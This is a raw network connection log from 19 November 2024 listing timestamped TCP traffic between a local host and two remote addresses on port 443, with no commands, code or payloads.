Nov 19, 2024 00:02:27.823458910 CET	443	49869	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.823878050 CET	49869	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.823892117 CET	443	49869	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.881545067 CET	443	49870	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.885199070 CET	49870	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.885237932 CET	443	49870	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.885561943 CET	49870	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.885575056 CET	443	49870	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.953398943 CET	443	49869	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.953536987 CET	443	49869	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.953850985 CET	49869	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.953850985 CET	49869	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.954637051 CET	49869	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.954663992 CET	443	49869	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.956645966 CET	49874	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.956738949 CET	443	49874	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:27.956825018 CET	49874	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.956926107 CET	49874	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:27.956950903 CET	443	49874	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.018472910 CET	443	49870	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.018528938 CET	443	49870	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.018662930 CET	49870	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.018719912 CET	49870	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.018719912 CET	49870	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.018726110 CET	443	49870	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.018733025 CET	443	49870	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.020875931 CET	49875	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.020961046 CET	443	49875	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.021064043 CET	49875	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.021177053 CET	49875	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.021209955 CET	443	49875	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.239506006 CET	443	49871	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.240216017 CET	49871	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.240276098 CET	443	49871	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.240714073 CET	49871	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.240726948 CET	443	49871	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.268733025 CET	443	49872	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.269175053 CET	49872	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.269237041 CET	443	49872	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.269517899 CET	49872	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.269531965 CET	443	49872	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.383183002 CET	443	49871	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.383287907 CET	443	49871	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.383361101 CET	49871	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.383519888 CET	49871	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.383557081 CET	443	49871	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.383582115 CET	49871	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.383596897 CET	443	49871	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.386039972 CET	49876	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.386075974 CET	443	49876	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.386178970 CET	49876	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.386303902 CET	49876	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.386332035 CET	443	49876	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.399075031 CET	443	49872	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.399137020 CET	443	49872	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.399224043 CET	49872	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.399230003 CET	443	49872	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.399292946 CET	49872	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.399406910 CET	49872	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.399406910 CET	49872	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.399449110 CET	443	49872	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.399475098 CET	443	49872	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.401520967 CET	49877	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.401607037 CET	443	49877	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.401757002 CET	49877	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.401855946 CET	49877	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.401891947 CET	443	49877	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.458586931 CET	443	49873	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.459017038 CET	49873	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.459076881 CET	443	49873	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.459423065 CET	49873	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.459435940 CET	443	49873	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.594341993 CET	443	49873	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.594516039 CET	443	49873	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.594594002 CET	49873	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.594643116 CET	49873	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.594679117 CET	443	49873	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.594702959 CET	49873	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.594717979 CET	443	49873	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.597311020 CET	49878	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.597373962 CET	443	49878	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.597474098 CET	49878	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.597754002 CET	49878	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.597783089 CET	443	49878	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.714533091 CET	443	49874	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.715166092 CET	49874	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.715228081 CET	443	49874	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.715580940 CET	49874	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.715595961 CET	443	49874	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.791409016 CET	443	49875	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.791831970 CET	49875	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.791856050 CET	443	49875	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.792182922 CET	49875	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.792196035 CET	443	49875	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.850665092 CET	443	49874	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.850728989 CET	443	49874	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.850827932 CET	443	49874	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.850825071 CET	49874	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.850888014 CET	49874	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.851031065 CET	49874	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.851031065 CET	49874	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.851073027 CET	443	49874	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.851099014 CET	443	49874	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.853771925 CET	49879	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.853821993 CET	443	49879	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.853914022 CET	49879	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.854048967 CET	49879	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.854075909 CET	443	49879	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.923068047 CET	443	49875	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.923131943 CET	443	49875	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.923253059 CET	49875	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.927395105 CET	49875	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.927440882 CET	443	49875	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.927473068 CET	49875	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.927485943 CET	443	49875	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.930051088 CET	49880	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.930092096 CET	443	49880	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:28.930197954 CET	49880	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.930366993 CET	49880	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:28.930387974 CET	443	49880	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.156673908 CET	443	49877	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.157304049 CET	49877	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.157362938 CET	443	49877	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.157829046 CET	49877	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.157844067 CET	443	49877	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.160114050 CET	443	49876	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.160543919 CET	49876	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.160581112 CET	443	49876	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.161258936 CET	49876	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.161273003 CET	443	49876	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.287826061 CET	443	49877	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.288054943 CET	443	49877	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.288261890 CET	49877	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.288263083 CET	49877	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.288263083 CET	49877	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.292001963 CET	49881	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.292097092 CET	443	49881	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.292222977 CET	49881	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.292390108 CET	49881	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.292426109 CET	443	49881	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.292593956 CET	443	49876	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.292890072 CET	443	49876	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.292958975 CET	49876	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.293035030 CET	49876	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.293071985 CET	443	49876	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.293097973 CET	49876	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.293112993 CET	443	49876	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.296976089 CET	49882	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.297018051 CET	443	49882	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.297106028 CET	49882	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.297413111 CET	49882	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.297430038 CET	443	49882	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.351604939 CET	443	49878	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.352112055 CET	49878	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.352129936 CET	443	49878	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.352890968 CET	49878	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.352901936 CET	443	49878	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.483613968 CET	443	49878	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.483685017 CET	443	49878	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.483778954 CET	49878	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.483782053 CET	443	49878	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.483855009 CET	49878	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.484020948 CET	49878	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.484020948 CET	49878	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.484064102 CET	443	49878	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.484087944 CET	443	49878	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.487797976 CET	49883	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.487838984 CET	443	49883	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.487930059 CET	49883	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.488095999 CET	49883	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.488121986 CET	443	49883	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.512759924 CET	49877	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.512820959 CET	443	49877	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.592564106 CET	443	49879	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.593354940 CET	49879	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.593380928 CET	443	49879	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.594628096 CET	49879	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.594639063 CET	443	49879	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.690593004 CET	443	49880	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.691066027 CET	49880	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.691088915 CET	443	49880	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.691663027 CET	49880	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.691670895 CET	443	49880	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.723006010 CET	443	49879	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.723143101 CET	443	49879	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.723206997 CET	49879	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.723378897 CET	49879	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.723402977 CET	443	49879	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.723427057 CET	49879	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.723439932 CET	443	49879	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.727579117 CET	49884	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.727686882 CET	443	49884	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.727835894 CET	49884	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.728070974 CET	49884	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.728108883 CET	443	49884	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.828856945 CET	443	49880	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.829010010 CET	443	49880	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.829071999 CET	49880	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.829183102 CET	49880	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.829200983 CET	443	49880	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.829216957 CET	49880	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.829225063 CET	443	49880	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.832196951 CET	49885	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.832283020 CET	443	49885	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:29.832391977 CET	49885	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.832564116 CET	49885	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:29.832600117 CET	443	49885	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.048051119 CET	443	49882	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.048748016 CET	443	49881	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.048850060 CET	49882	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.048868895 CET	443	49882	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.049179077 CET	49881	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.049227953 CET	443	49881	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.049499989 CET	49882	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.049505949 CET	443	49882	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.049868107 CET	49881	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.049881935 CET	443	49881	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.185216904 CET	443	49882	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.185343981 CET	443	49882	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.185429096 CET	443	49882	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.185591936 CET	49882	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.185591936 CET	49882	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.185622931 CET	49882	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.185640097 CET	443	49882	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.189516068 CET	49886	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.189610958 CET	443	49886	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.189713955 CET	49886	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.189932108 CET	49886	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.189959049 CET	443	49886	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.193479061 CET	443	49881	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.193629980 CET	443	49881	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.193756104 CET	49881	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.193757057 CET	49881	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.193757057 CET	49881	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.196381092 CET	49887	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.196470022 CET	443	49887	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.196549892 CET	49887	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.196726084 CET	49887	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.196764946 CET	443	49887	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.230993986 CET	443	49883	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.231709003 CET	49883	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.231769085 CET	443	49883	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.232220888 CET	49883	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.232234955 CET	443	49883	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.359102011 CET	443	49883	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.359231949 CET	443	49883	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.359448910 CET	49883	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.359529018 CET	49883	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.359529018 CET	49883	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.359572887 CET	443	49883	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.359601974 CET	443	49883	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.362926960 CET	49888	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.362977982 CET	443	49888	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.363066912 CET	49888	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.363233089 CET	49888	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.363255024 CET	443	49888	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.403714895 CET	49881	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.403731108 CET	443	49881	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.465800047 CET	443	49884	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.466679096 CET	49884	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.466737986 CET	443	49884	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.467201948 CET	49884	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.467215061 CET	443	49884	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.571192980 CET	443	49885	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.571739912 CET	49885	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.571779966 CET	443	49885	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.572252035 CET	49885	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.572264910 CET	443	49885	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.598522902 CET	443	49884	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.598609924 CET	443	49884	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.598721981 CET	443	49884	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.598838091 CET	49884	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.598947048 CET	49884	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.599150896 CET	49884	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.599189043 CET	443	49884	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.599241972 CET	49884	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.599257946 CET	443	49884	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.602289915 CET	49889	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.602365017 CET	443	49889	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.602463961 CET	49889	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.602603912 CET	49889	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.602634907 CET	443	49889	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.702589989 CET	443	49885	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.702745914 CET	443	49885	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.702876091 CET	49885	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.702960014 CET	49885	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.702960014 CET	49885	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.703005075 CET	443	49885	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.703032970 CET	443	49885	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.705498934 CET	49890	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.705542088 CET	443	49890	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.705636978 CET	49890	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.705774069 CET	49890	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.705792904 CET	443	49890	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.880254030 CET	443	49830	142.250.181.228	192.168.2.4
Nov 19, 2024 00:02:30.880403042 CET	443	49830	142.250.181.228	192.168.2.4
Nov 19, 2024 00:02:30.880556107 CET	49830	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:02:30.941443920 CET	443	49887	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.941957951 CET	49887	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.942039013 CET	443	49887	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.942363977 CET	49887	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.942378044 CET	443	49887	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.943058968 CET	443	49886	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.943351030 CET	49886	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.943409920 CET	443	49886	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:30.943655968 CET	49886	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:30.943670988 CET	443	49886	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.074979067 CET	443	49887	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.075114965 CET	443	49887	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.075287104 CET	49887	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.075376987 CET	49887	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.075412035 CET	443	49887	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.075457096 CET	49887	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.075472116 CET	443	49887	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.077867985 CET	49891	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.077948093 CET	443	49891	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.078033924 CET	49891	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.078155994 CET	49891	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.078187943 CET	443	49891	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.081867933 CET	443	49886	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.081949949 CET	443	49886	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.082091093 CET	49886	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.082168102 CET	49886	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.082169056 CET	49886	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.082209110 CET	443	49886	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.082235098 CET	443	49886	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.084041119 CET	49892	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.084115982 CET	443	49892	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.084198952 CET	49892	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.084311962 CET	49892	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.084342957 CET	443	49892	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.105582952 CET	443	49888	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.106008053 CET	49888	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.106067896 CET	443	49888	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.106362104 CET	49888	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.106369972 CET	443	49888	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.108289957 CET	49830	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:02:31.108340979 CET	443	49830	142.250.181.228	192.168.2.4
Nov 19, 2024 00:02:31.238490105 CET	443	49888	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.238555908 CET	443	49888	13.107.246.43	192.168.2.4
